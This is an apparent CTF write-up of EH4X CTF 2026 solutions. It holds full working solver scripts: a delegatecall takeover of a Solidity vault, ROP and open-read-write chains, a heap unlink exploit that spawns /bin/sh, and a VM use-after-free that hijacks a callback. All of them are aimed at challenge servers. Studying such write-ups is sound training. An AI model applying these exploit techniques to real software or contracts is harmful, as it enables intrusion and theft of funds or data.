Overview
This post collects the solved EH4X CTF 2026 challenges and the practical exploitation approach used for each.
Table of Contents
- Heist V1 (Blockchain)
- i-guess-bro (Reverse)
- Womp Womp (Pwn)
- Lulocator (Pwn)
- SarcAsm / Sarcasm (Pwn)
- Inferno Sprint (Misc)
- Chusembly (Misc)
- Final Notes
Heist V1 (Blockchain)
TL;DR
The vault trusted governance too much. By setting governance to an attacker contract and abusing delegatecall execution, storage got overwritten (admin/paused), then funds could be withdrawn.
Root Cause
setGovernanceallowed untrusted governance replacement.executeused delegatecall into governance-controlled logic.- Delegatecall context let attacker write directly to
Vaultstorage.
Exploit Path
- Deploy attacker governance contract.
- Call
setGovernance(attacker). - Trigger
execute(...)to run attackerpwn()via delegatecall. - Flip vault state (e.g., unpause + set admin/player).
- Call
withdraw().
Solver Code
#!/usr/bin/env python3
import os
import re
import subprocess
import tempfile
import time
from pwn import remote, context
from web3 import Web3
context.log_level = 'error'
HOST = os.getenv('HOST', '135.235.193.111')
PORT = int(os.getenv('PORT', '1337'))
VAULT_ABI = [
{"inputs": [{"internalType": "address", "name": "_g", "type": "address"}], "name": "setGovernance", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [{"internalType": "bytes", "name": "data", "type": "bytes"}], "name": "execute", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [], "name": "withdraw", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
]
EVIL_ABI = [
{"inputs": [], "name": "pwn", "outputs": [], "stateMutability": "nonpayable", "type": "function"}
]
def compile_evil_bytecode() -> str:
src = './EvilGov.sol'
with tempfile.TemporaryDirectory() as td:
subprocess.check_call([
'solc',
'--bin', src, '-o', td, '--overwrite'
])
with open(f'{td}/EvilGov.bin', 'r') as f:
return '0x' + f.read().strip()
def send_tx(w3, pk, nonce, to=None, data='0x', value=0):
acct = w3.eth.account.from_key(pk)
tx = {
'from': acct.address,
'nonce': nonce,
'gas': 1_500_000,
'maxFeePerGas': w3.to_wei(2, 'gwei'),
'maxPriorityFeePerGas': w3.to_wei(1, 'gwei'),
'chainId': w3.eth.chain_id,
'value': value,
'data': data,
}
if to is not None:
tx['to'] = to
signed = acct.sign_transaction(tx)
txh = w3.eth.send_raw_transaction(signed.raw_transaction)
rec = w3.eth.wait_for_transaction_receipt(txh, timeout=30)
return rec
def main():
r = remote(HOST, PORT, timeout=30)
# Keep this same launcher session alive; checker result is bound to it.
banner = r.recvuntil(b'> ', timeout=30).decode(errors='ignore')
rpc_m = re.search(r'RPC URL\s*:\s*(\S+)', banner)
vault_m = re.search(r'Vault\s*:\s*(0x[0-9a-fA-F]{40})', banner)
pk_m = re.search(r'Player Private Key:\s*\n(0x[0-9a-fA-F]+)', banner)
if not (rpc_m and vault_m and pk_m):
print(banner)
raise RuntimeError('Failed to parse challenge launcher output')
rpc = rpc_m.group(1)
vault_addr = Web3.to_checksum_address(vault_m.group(1))
pk = pk_m.group(1)
w3 = Web3(Web3.HTTPProvider(rpc, request_kwargs={'timeout': 15}))
for _ in range(45):
try:
_ = w3.eth.chain_id
break
except Exception:
time.sleep(1)
else:
raise RuntimeError('RPC not ready in time')
acct = w3.eth.account.from_key(pk)
nonce = w3.eth.get_transaction_count(acct.address)
bytecode = compile_evil_bytecode()
rec_dep = send_tx(w3, pk, nonce, to=None, data=bytecode)
nonce += 1
evil_addr = Web3.to_checksum_address(rec_dep.contractAddress)
vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)
evil = w3.eth.contract(address=evil_addr, abi=EVIL_ABI)
data_set = vault.encode_abi('setGovernance', args=[evil_addr])
send_tx(w3, pk, nonce, to=vault_addr, data=data_set)
nonce += 1
pwn_calldata = evil.encode_abi('pwn', args=[])
data_exec = vault.encode_abi('execute', args=[bytes.fromhex(pwn_calldata[2:])])
send_tx(w3, pk, nonce, to=vault_addr, data=data_exec)
nonce += 1
data_wd = vault.encode_abi('withdraw', args=[])
send_tx(w3, pk, nonce, to=vault_addr, data=data_wd)
r.sendline(b'1')
out = r.recvrepeat(8).decode(errors='ignore')
m = re.search(r'(EH4X\{[^\r\n]+\})', out)
if m:
print(m.group(1))
if __name__ == '__main__':
main()
Flag
EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}
i-guess-bro (Reverse)
TL;DR
RISC-V checker binary contained decoy strings and a real obfuscated flag blob in .rodata. Reversing the decode routine recovered the real flag directly.
Root Cause
The binary compared user input against a decoded byte sequence where:
decoded[i] = blob[i] ^ ((i*7) & 0xff) ^ 0xA5
The blob range in .rodata was static and extractable.
Exploit Path
- Locate checker routine and decode formula in disassembly.
- Extract encoded blob from
.rodata. - Apply inverse transform script.
- Print recovered flag.
Solver Code
#!/usr/bin/env python3
from __future__ import annotations
from elftools.elf.elffile import ELFFile
from pathlib import Path
BIN = Path(__file__).resolve().parent / "chall"
def decode_flag_from_blob(blob: bytes) -> bytes:
return bytes(((b ^ ((i * 7) & 0xFF) ^ 0xA5) & 0xFF) for i, b in enumerate(blob))
def get_blob(elf_path: Path) -> bytes:
with elf_path.open("rb") as f:
elf = ELFFile(f)
ro = elf.get_section_by_name(".rodata")
ro_base = ro["sh_addr"]
ro_data = ro.data()
start = 0x57BC8
end = 0x57BEB
return ro_data[start - ro_base : end - ro_base]
def main() -> None:
blob = get_blob(BIN)
flag = decode_flag_from_blob(blob)
print(flag.decode())
if __name__ == "__main__":
main()
Flag
EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}
Womp Womp (Pwn)
TL;DR
Three-stage binary leaked canary/PIE/lib addresses via over-reads and then allowed a final stack overflow. Chained ret2csu + ORW to read flag.txt.
Root Cause
submit_note()over-read stack data, leaking canary/saved frame values.review_note()over-read function pointer, leaking PIE.finalize_entry()read far beyond stack buffer, enabling ROP.
Exploit Path
- Leak canary and stack data from stage-1 over-read.
- Leak PIE base from stage-2 function pointer.
- Use first overflow to leak runtime libc/libcoreio address.
- Re-enter vulnerable function.
- Second overflow builds ORW chain:
open("flag.txt", 0)read(fd, buf, size)write(1, buf, size)
Solver Code
#!/usr/bin/env python3
from pwn import *
import re
context.binary = elf = ELF('./handout/challenge', checksec=False)
lib = ELF('./handout/libcoreio.so', checksec=False)
HOST = '20.244.7.184'
PORT = 1337
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(elf.path, cwd='./handout')
def solve(io):
io.recvuntil(b'Input log entry: ')
io.send(b'A' * 0x40)
out1 = io.recvuntil(b'Input processing note: ')
body1 = out1.split(b'[LOG] Entry received: ')[1]
leak1 = body1[0x40:0x58]
canary = u64(leak1[8:16])
saved_rbp = u64(leak1[16:24])
io.send(b'B' * 0x20)
out2 = io.recvuntil(b'Send final payload: ')
body2 = out2.split(b'[PROC] Processing: ')[1]
leak2 = body2[:0x30]
finalize_note_ptr = u64(leak2[0x20:0x28])
pie = finalize_note_ptr - elf.sym['finalize_note']
csu_pop = pie + 0xc9a
csu_call = pie + 0xc80
finalize_entry = pie + elf.sym['finalize_entry']
got_write = pie + elf.got['write']
got_read = pie + elf.got['read']
got_emit = pie + elf.got['emit_report']
payload1 = flat(
b'C' * 0x40, canary, 0x4242424242424242,
csu_pop,
0, 1, got_write, 8, got_emit, 1,
csu_call,
0, 0, 0, 0, 0, 0, 0,
finalize_entry,
)
io.send(payload1)
io.recvuntil(b'[VULN] Done.\n')
emit_runtime = u64(io.recvn(8))
lib_base = emit_runtime - lib.sym['emit_report']
pop_rdi = pie + 0xca3
pop_rsi_r15 = pie + 0xca1
open_plt_in_lib = lib_base + 0x6a0
flag_path = lib_base + 0x970
buf = saved_rbp - 0x500
payload2 = flat(
b'D' * 0x40, canary, saved_rbp,
pop_rdi, flag_path,
pop_rsi_r15, 0, 0,
open_plt_in_lib,
csu_pop,
0, 1, got_read, 0x100, buf, 3,
csu_call,
0, 0, 0, 0, 0, 0, 0,
csu_pop,
0, 1, got_write, 0x100, buf, 1,
csu_call,
0, 0, 0, 0, 0, 0, 0,
)
io.recvuntil(b'Send final payload: ')
io.send(payload2)
data = io.recvall(timeout=5)
m = re.search(rb'[A-Z0-9]{4}\{[^\r\n\}]+\}', data)
if m:
print(m.group(0).decode())
if __name__ == '__main__':
io = start()
solve(io)
Flag
EH4X{r0pp3d_th3_w0mp3d}
Lulocator (Pwn)
TL;DR
Custom allocator + unsafe unlink style corruption + controlled runner pointer gave code execution (system("/bin/sh")).
Root Cause
- Custom chunk metadata was partially attacker-controlled via bounded-overflow write primitive.
- Free-list unlink checks were insufficient against forged
fd/bkpointers. - Global runner pointer was writable through unlink side effects.
Exploit Path
- Create heap objects and leak pointers (
info). - Free runner object into custom free-list.
- Overflow adjacent chunk into free node metadata (
fd/bk). - Trigger unlink to overwrite global runner pointer with fake object.
- Set fake callback to
system, arg/bin/sh. - Trigger
runand read flag.
Solver Code
#!/usr/bin/env python3
from pwn import *
import re
context.binary = ELF('./handout/lulocator', checksec=False)
HOST = args.HOST or 'chall.ehax.in'
PORT = int(args.PORT or 40137)
if args.LIBC:
libc_path = args.LIBC
elif args.REMOTE:
libc_path = './handout/libc.so.6'
else:
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_path, checksec=False)
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(context.binary.path)
def exploit(io):
def sl(a, b): io.sendlineafter(a, b)
def sa(a, b): io.sendafter(a, b)
def new(sz):
sl(b'> ', b'1')
sl(b'size: ', str(sz).encode())
def write_idx(idx, ln, data):
sl(b'> ', b'2')
sl(b'idx: ', str(idx).encode())
sl(b'len: ', str(ln).encode())
sa(b'data: ', data)
def delete(idx):
sl(b'> ', b'3')
sl(b'idx: ', str(idx).encode())
def info(idx):
sl(b'> ', b'4')
sl(b'idx: ', str(idx).encode())
line = io.recvline_contains(b'[info]')
m = re.search(rb'addr=0x([0-9a-f]+) out=0x([0-9a-f]+) len=([0-9]+)', line)
return int(m.group(1), 16), int(m.group(2), 16), int(m.group(3))
def set_runner(idx):
sl(b'> ', b'5')
sl(b'idx: ', str(idx).encode())
def run_runner():
sl(b'> ', b'6')
new(0x100)
a_hdr, stdout_ptr, _ = info(0)
libc.address = stdout_ptr - libc.symbols['_IO_2_1_stdout_']
system = libc.symbols['system']
new(0x100)
b_hdr, _, _ = info(1)
set_runner(1)
delete(1)
runner_global = 0x404940
a_data = a_hdr + 0x28
forged_fd = runner_global - 8
forged_bk = a_data
payload = bytearray(b'A' * 0x118)
payload[0x10:0x18] = p64(system)
payload[0x28:0x30] = b'/bin/sh\x00'
payload[0x108:0x110] = p64(forged_fd)
payload[0x110:0x118] = p64(forged_bk)
write_idx(0, len(payload), bytes(payload))
new(0x100)
run_runner()
io.sendline(b'cat flag.txt || cat handout/flag.txt')
io.interactive()
if __name__ == '__main__':
io = start()
exploit(io)
Flag
EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
SarcAsm / Sarcasm (Pwn)
TL;DR
Custom VM had GC marking bug for buffer type, producing UAF read/write primitives. Leak PIE callback pointer, overwrite builtin callback to hidden win, spawn shell.
Root Cause
VM GC did not properly mark/traverse type-1 buffer backing memory, so stale references survived while chunks were recycled for new objects.
Exploit Path
- Allocate buffer + slice, drop reference, force GC.
- Reallocate freed chunk as builtin object.
- Read stale slice bytes to leak callback pointer (PIE).
- Recreate UAF write primitive on reused chunk.
- Overwrite builtin callback with hidden execve gadget (
win). - Invoke
CALLto execute and print flag.
Solver Code
#!/usr/bin/env python3
import argparse
import re
import socket
import struct
import subprocess
import time
OP = {
'PUSH': 0x01, 'NEWBUF': 0x20, 'READ': 0x21, 'SLICE': 0x22, 'PRINTB': 0x23,
'WRITEBUF': 0x25, 'GLOAD': 0x30, 'GSTORE': 0x31, 'BUILTIN': 0x40,
'CALL': 0x41, 'GC': 0x60, 'HALT': 0xFF,
}
def uleb(x: int) -> bytes:
out = bytearray()
while True:
b = x & 0x7F
x >>= 7
if x: out.append(b | 0x80)
else:
out.append(b)
break
return bytes(out)
def sleb(x: int) -> bytes:
out = bytearray(); more = True
while more:
b = x & 0x7F
sign = b & 0x40
x >>= 7
if (x == 0 and sign == 0) or (x == -1 and sign != 0):
more = False
else:
b |= 0x80
out.append(b)
return bytes(out)
def build_code() -> bytes:
c = bytearray()
def emit1(op, a=None, signed=False):
c.append(OP[op]);
if a is not None: c.extend(sleb(a) if signed else uleb(a))
def emit2(op, a, b):
c.append(OP[op]); c.extend(uleb(a)); c.extend(uleb(b))
emit1('NEWBUF', 24); emit1('GSTORE', 0)
emit1('GLOAD', 0); emit1('READ', 24)
emit1('GLOAD', 0); emit2('SLICE', 0, 8); emit1('GSTORE', 1)
emit1('PUSH', 0, signed=True); emit1('GSTORE', 0); emit1('GC')
emit1('BUILTIN', 0); emit1('GSTORE', 2)
emit1('GLOAD', 1); emit1('PRINTB')
emit1('NEWBUF', 24); emit1('GSTORE', 3)
emit1('GLOAD', 3); emit1('READ', 24)
emit1('GLOAD', 3); emit2('SLICE', 0, 8); emit1('GSTORE', 4)
emit1('PUSH', 0, signed=True); emit1('GSTORE', 4); emit1('GC')
emit1('BUILTIN', 1); emit1('GSTORE', 5)
emit1('GLOAD', 3); emit2('WRITEBUF', 0, 16)
emit1('GLOAD', 5); emit1('CALL', 0); emit1('HALT')
return bytes(c)
CODE = build_code()
WIN_OFF = 0x3000
LEAK_OFF = 0x31D0
def recv_exact_sock(s: socket.socket, n: int) -> bytes:
data = b''
while len(data) < n:
chunk = s.recv(n - len(data))
if not chunk: raise EOFError
data += chunk
return data
def run_remote(host: str, port: int, cmd: bytes, timeout=8.0):
s = socket.create_connection((host, port), timeout=timeout)
s.settimeout(timeout)
blob = struct.pack('<I', len(CODE)) + CODE
s.sendall(blob + (b'A' * 24) + (b'B' * 24))
leak = recv_exact_sock(s, 8)
leak_ptr = struct.unpack('<Q', leak)[0]
pie = leak_ptr - LEAK_OFF
win = pie + WIN_OFF
payload = struct.pack('<Q', win) + struct.pack('<Q', 0)
s.sendall(payload)
s.sendall(cmd)
time.sleep(0.3)
chunks = []
s.settimeout(1.0)
try:
while True:
d = s.recv(4096)
if not d: break
chunks.append(d)
except Exception:
pass
s.close()
return pie, win, b''.join(chunks)
def main():
ap = argparse.ArgumentParser()
ap.add_argument('--host', default='chall.ehax.in')
ap.add_argument('--port', type=int, default=9999)
args = ap.parse_args()
cmd = b'echo __PWNED__\ncat flag* /flag* /home/*/flag* 2>/dev/null\nexit\n'
_, _, out = run_remote(args.host, args.port, cmd)
txt = out.decode('latin1', errors='ignore')
print(txt)
m = re.search(r'(EHAX\{[^\n\r\}]*\})', txt)
if m:
print('[FLAG]', m.group(1))
if __name__ == '__main__':
main()
Flag
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
Inferno Sprint (Misc)
TL;DR
Grid-escape problem with multi-speed fire spread and portal teleports. Deterministic BFS with precomputed burn times solves all rounds within time limits.
Root Cause
No cryptographic trick here; this is algorithmic. Naive pathfinding fails due to dynamic hazard timing and portal transitions.
Exploit Path
- Parse each round (
SIZE,START,LIMIT, hex-encoded grid). - Compute earliest fire arrival map using multi-source BFS per speed class (1/2/3).
- Run time-aware BFS over
(row, col, t)with pruning. - Include
Ptransition when on portal cell. - Send valid path per round.
Solver Code
#!/usr/bin/env python3
import re
import socket
from collections import deque
HOST = "chall.ehax.in"
PORT = 31337
def decode_hex_row(hex_row: str) -> str:
return bytes.fromhex(hex_row.strip()).decode("ascii")
def recv_until_path_prompt(sock: socket.socket) -> str:
buf = bytearray()
while b"PATH>" not in buf:
chunk = sock.recv(4096)
if not chunk: break
buf.extend(chunk)
return buf.decode("utf-8", "replace")
def parse_round_block(text: str):
lines = [ln.rstrip("\n") for ln in text.splitlines()]
ridx = next((i for i, ln in enumerate(lines) if ln.startswith("ROUND ")), None)
if ridx is None: return None
h, w = map(int, re.match(r"SIZE\s+(\d+)\s+(\d+)", lines[ridx + 1].strip()).groups())
sr, sc = map(int, re.match(r"START\s+(\d+)\s+(\d+)", lines[ridx + 2].strip()).groups())
limit = int(re.match(r"LIMIT\s+(\d+)", lines[ridx + 3].strip()).group(1))
grid = [list(decode_hex_row(r)) for r in lines[ridx + 4 : ridx + 4 + h]]
return {"h": h, "w": w, "sr": sr, "sc": sc, "limit": limit, "grid": grid}
def compute_fire_time(grid):
h, w = len(grid), len(grid[0]); INF = 10**9
dists = {k: [[INF]*w for _ in range(h)] for k in (1,2,3)}
qs = {k: deque() for k in (1,2,3)}
for r in range(h):
for c in range(w):
ch = grid[r][c]
if ch in "123":
k = int(ch)
dists[k][r][c] = 0
qs[k].append((r,c))
dirs = ((1,0),(-1,0),(0,1),(0,-1))
for k in (1,2,3):
q = qs[k]; dist = dists[k]
while q:
r,c = q.popleft()
nd = dist[r][c] + 1
for dr,dc in dirs:
nr,nc = r+dr,c+dc
if 0<=nr<h and 0<=nc<w and grid[nr][nc] != '#':
if nd < dist[nr][nc]:
dist[nr][nc] = nd
q.append((nr,nc))
fire_t = [[INF]*w for _ in range(h)]
for r in range(h):
for c in range(w):
if grid[r][c] == '#':
fire_t[r][c] = -1
continue
fire_t[r][c] = min((dists[k][r][c] * k for k in (1,2,3)), default=INF)
return fire_t
def find_escape_path(grid, sr, sc, move_limit):
h, w = len(grid), len(grid[0])
portals = {}
for r in range(h):
for c, ch in enumerate(grid[r]):
if ch in "abcde":
portals.setdefault(ch, []).append((r,c))
portal_pair = {}
for pts in portals.values():
if len(pts) == 2:
a,b = pts
portal_pair[a] = b
portal_pair[b] = a
fire_t = compute_fire_time(grid)
if fire_t[sr][sc] <= 0: return None
q = deque([(sr, sc, 0)])
seen = {(sr, sc): 0}
prev = {(sr, sc, 0): None}
moves = [(-1,0,'W'),(1,0,'S'),(0,-1,'A'),(0,1,'D')]
while q:
r,c,t = q.popleft()
if t > move_limit: continue
if t > 0 and (r == 0 or c == 0 or r == h-1 or c == w-1) and t < fire_t[r][c]:
seq = []
cur = (r,c,t)
while prev[cur] is not None:
pstate, act = prev[cur]
seq.append(act)
cur = pstate
return ''.join(reversed(seq))
nt = t + 1
if nt > move_limit: continue
for dr,dc,act in moves:
nr,nc = r+dr,c+dc
if not (0<=nr<h and 0<=nc<w): continue
if grid[nr][nc] == '#': continue
if nt >= fire_t[nr][nc]: continue
if nt < seen.get((nr,nc), 10**9):
seen[(nr,nc)] = nt
nxt = (nr,nc,nt)
prev[nxt] = ((r,c,t), act)
q.append(nxt)
if (r,c) in portal_pair:
nr,nc = portal_pair[(r,c)]
if nt < fire_t[nr][nc] and nt < seen.get((nr,nc), 10**9):
seen[(nr,nc)] = nt
nxt = (nr,nc,nt)
prev[nxt] = ((r,c,t), 'P')
q.append(nxt)
return None
def solve_once(host=HOST, port=PORT):
with socket.create_connection((host, port), timeout=10) as sock:
sock.settimeout(10)
for _ in range(5):
block = recv_until_path_prompt(sock)
rnd = parse_round_block(block)
path = find_escape_path(rnd["grid"], rnd["sr"], rnd["sc"], rnd["limit"]) or "W"
sock.sendall((path + "\n").encode())
tail = bytearray()
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk: break
tail.extend(chunk)
return tail.decode("utf-8", "replace")
def main():
print(solve_once())
if __name__ == "__main__":
main()
Flag
EH4X{1nf3rn0_spr1n7_bl4z3_runn3r_m4573r}
Chusembly (Misc)
TL;DR
Challenge VM leaked cross-request state. Repeatedly dumping registers eventually exposed another run’s flag-containing data.
Root Cause
Interpreter/register state was not isolated between requests/users. Global mutable state persisted and was observable by arbitrary clients.
Exploit Path
- Submit passive dump payload (
STDOUT A..E) repeatedly. - Parse output for
EH4X{...}pattern. - Capture leaked flag when another session pollutes shared state.
Flag
EH4X{chusembly_a1n7_7h47_7uffff_br0}
Final Notes
- Most pwn wins here came from classic memory safety + control-flow recovery patterns.
- The blockchain challenge was pure trust-boundary failure around delegatecall.
- Misc category had two very different flavors: algorithmic simulation (Inferno Sprint) and state-isolation failure (Chusembly).